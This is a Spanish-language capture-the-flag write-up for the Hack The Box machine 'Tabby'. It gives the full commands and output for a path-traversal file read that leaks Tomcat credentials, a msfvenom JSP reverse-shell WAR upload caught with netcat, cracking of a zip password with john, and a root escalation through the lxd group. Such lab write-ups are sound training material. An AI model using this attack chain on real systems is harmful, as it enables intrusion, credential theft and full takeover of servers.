TABBY

Comienzo comprobando que la máquina está activa y tengo conectividad, después enumero los puertos abiertos y sus versiones:

```
ping -c1 10.10.10.191
nmap -Pn -p- --open -T5 -v -n 10.10.10.194 -oG allPorts
nmap -Pn -sC -sV -p 21,22,80 10.10.10.194 -oN targeted
```

```
x@Kali:/mnt/htb/tabby$ ping -c1 10.10.10.194
PING 10.10.10.194 (10.10.10.194) 56(84) bytes of data.
64 bytes from 10.10.10.194: icmp_seq=1 ttl=63 time=37.4 ms

--- 10.10.10.194 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 37.446/37.446/37.446/0.000 ms
x@Kali:/mnt/htb/tabby$ nmap -Pn -p- --open -T5 -v -n 10.10.10.194 -oG allPorts
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-10 17:35 EDT
Initiating Connect Scan at 17:35
Scanning 10.10.10.194 [65535 ports]
Discovered open port 8080/tcp on 10.10.10.194
Discovered open port 80/tcp on 10.10.10.194
Discovered open port 22/tcp on 10.10.10.194
Completed Connect Scan at 17:35, 11.71s elapsed (65535 total ports)
Nmap scan report for 10.10.10.194
Host is up (0.037s latency).
Not shown: 65012 closed ports, 520 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8080/tcp open  http-proxy

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 11.77 seconds
x@Kali:/mnt/htb/tabby$ nmap -Pn -sC -sV -p 22,80,8080 10.10.10.194 -oN targeted
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-10 17:36 EDT
Nmap scan report for megahosting.htb (10.10.10.194)
Host is up (0.038s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Mega Hosting
8080/tcp open  http    Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.23 seconds
```

Hay un servicio web en el puerto 80 y otro en el 8080, por ir en orden me conecto al 80 con el navegador.

Al pulsar en news veo que me redirige a megahosting.htb... Meto el nombre en /etc/hosts y vuelvo a entrar. Aparece una disculpa a los clientes por un data leak... Entre eso y la url me hace pensar en un LFI.

```
curl "http://megahosting.htb/news.php?file=../../../../etc/passwd"
```

```
x@Kali:/mnt/htb/tabby$ curl "http://megahosting.htb/news.php?file=../../../../etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
tomcat:x:997:997::/opt/tomcat:/bin/false
mysql:x:112:120:MySQL Server,,,:/nonexistent:/bin/false
ash:x:1000:1000:clive:/home/ash:/bin/bash
```

Funciona :) Después de darle unas vueltas se me ocurre buscar archivos de configuración del tomcat con el LFI. Leo la documentación y me llama la atención "tomcat-users.xml"

```
curl "http://megahosting.htb/news.php?file=../../../../usr/share/tomcat9/etc/tomcat-users.xml"
```

```
  <role rolename="admin-gui"/>
  <role rolename="manager-script"/>
  <user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>
</tomcat-users>
```

Justo en el final de la página aparecen las credenciales: "tomcat" "$3cureP4s5w0rd123!"

En exploit db encuentro un exploit para esta versión que explota la vuln CVE-2017-12617, lo lanzo pero no es vulnerable.

El primer resultado de la búsqueda "exploit tomcat" https://medium.com/@cyb0rgs/exploiting-apache-tomcat-manager-script-role-974e4307cd00 Otro recurso que me sirve para entenderlo un poco mejor: https://pentestlab.blog/2012/08/26/using-metasploit-to-create-a-war-backdoor/

Basicamente, con las credenciales se pueden subir archivos .WAR al tomcat que contengan una webshell que se ejecuta cuando alguien accede a ella.

```
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.226 LPORT=1111 -f war > shell.war
jar -xvf shell.war
curl -u 'tomcat:$3cureP4s5w0rd123!' -T shell.war 'http://megahosting.htb:8080/manager/text/deploy?path=/shell&
update=true'
rlwrap nc -nvlp 1234
curl http://megahosting.htb:8080/shell/vtzsewsh.jsp
```

```
x@Kali:/mnt/htb/tabby$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.226 LPORT=1111 -f war > shell.war
Payload size: 1084 bytes
Final size of war file: 1084 bytes

x@Kali:/mnt/htb/tabby$ jar -xvf shell.war
   created: WEB-INF/
  inflated: WEB-INF/web.xml
  inflated: vtzsewsh.jsp
x@Kali:/mnt/htb/tabby$ curl -u 'tomcat:$3cureP4s5w0rd123!' -T shell.war 'http://megahosting.htb:8080/manager/text/de
ploy?path=/shell&update=true'
OK - Deployed application at context path [/shell]
x@Kali:/mnt/htb/tabby$ curl http://megahosting.htb:8080/shell/vtzsewsh.jsp




x@Kali:/mnt/htb/tabby$
```

```
x@Kali: /mnt/htb/tabby 116x25
x@Kali:/mnt/htb/tabby$ rlwrap nc -nvlp 1111
listening on [any] 1111 ...
connect to [10.10.14.226] from (UNKNOWN) [10.10.10.194] 46030
id
uid=997(tomcat) gid=997(tomcat) groups=997(tomcat)
```

Lanzo una shell interactiva y me pongo a enumerar, encuentro .zip que me llama la atención y lo descargo, está encriptado pero si tiene una contraseña débil no es problema.

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
cp /var/www/html/files/16162020_backup.zip /var/lib/tomcat9/webapps/shell
wget http://megahosting.htb:8080/shell/16162020_backup.zip
/usr/sbin/zip2john 16162020_backup.zip > hash 2>/dev/null
/usr/sbin/john --wordlist=rockyou.txt hash
```

```
x@Kali:/mnt/htb/tabby$ rlwrap nc -nvlp 1111
listening on [any] 1111 ...
connect to [10.10.14.226] from (UNKNOWN) [10.10.10.194] 46008
id
uid=997(tomcat) gid=997(tomcat) groups=997(tomcat)
python3 -c 'import pty; pty.spawn("/bin/bash")'
tomcat@tabby:/var/lib/tomcat9$ cp /var/www/html/files/16162020_backup.zip /var/lib/tomcat9/webapps/shell
</16162020_backup.zip /var/lib/tomcat9/webapps/shell
tomcat@tabby:/var/lib/tomcat9$
```

```
x@Kali: /mnt/htb/tabby 116x29
x@Kali:/mnt/htb/tabby$ wget http://megahosting.htb:8080/shell/16162020_backup.zip
--2020-09-10 18:08:20--  http://megahosting.htb:8080/shell/16162020_backup.zip
Resolving megahosting.htb (megahosting.htb)... 10.10.10.194
Connecting to megahosting.htb (megahosting.htb)|10.10.10.194|:8080... connected.
HTTP request sent, awaiting response... 200
Length: 8716 (8.5K) [application/zip]
Saving to: '16162020_backup.zip.1'

16162020_backup.zip.1        100%[=============================================>]   8.51K  --.-KB/s    in

2020-09-10 18:08:21 (20.5 MB/s) - '16162020_backup.zip.1' saved [8716/8716]

x@Kali:/mnt/htb/tabby$ /usr/sbin/zip2john 16162020_backup.zip > hash 2>/dev/null
x@Kali:/mnt/htb/tabby$ /usr/sbin/john --wordlist=rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
admin@it         (16162020_backup.zip)
1g 0:00:00:01 DONE (2020-09-10 18:09) 0.6211g/s 6436Kp/s 6436Kc/s 6436KC/s adnbrie..adenabel1
Use the "--show" option to display all of the cracked passwords reliably
Session completed
```

Consigo una contraseña "admin@it", después de darle un par de vueltas se me ocurre probar si es la de algún usuario y tengo éxito. Vuelvo a enumerar y veo que el usuario pertenece al grupo lxd, seguramente la escalada sea similar a escalar desde un miembro del grupo docker. El primer resultado de "lxd privilege escalation" https://book.hacktricks.xyz/linux-unix/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation

Sigo el método 2 que consiste en lanzar un contenedor con todo el sistema de archivos de la máquina montado en un directorio del contenedor. La única diferencia es que como la máquina no tiene acceso a internet ni ninguna imágen, la tengo que subir de mi máquina.

```
# En mi máquina
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
sudo ./build-alpine -a i686
sudo python -m http.server 80

# En la máquina de HTB
wget 10.10.14.63/alpine-v3.12-i686-20200909_0447.tar.gz

lxd init    // Salida extensa, no entra en el screenshot.
lxc image import ./alpine-v3.12-i686-20200909_0447.tar.gz --alias myimage
lxc init myimage mycontainer -c security.privileged=true
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
lxc start mycontainer
lxc exec mycontainer /bin/sh
```

```
ash@tabby:~$ lxc image import ./alpine-v3.12-x86_64-20200911_0036.tar.gz --alias myimage
<e-v3.12-x86_64-20200911_0036.tar.gz --alias myimage
ash@tabby:~$ lxc init myimage mycontainer -c security.privileged=true
lxc init myimage mycontainer -c security.privileged=true
Creating mycontainer
ash@tabby:~$ lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
<ydevice disk source=/ path=/mnt/root recursive=true
Device mydevice added to mycontainer
ash@tabby:~$ lxc start mycontainer
lxc start mycontainer
ash@tabby:~$ lxc exec mycontainer /bin/sh
lxc exec mycontainer /bin/sh
~ # cat /mnt/root/root/root.txt
cat /mnt/root/root/root.txt
e3d397e08e91530ac6df3d1620a748f8
```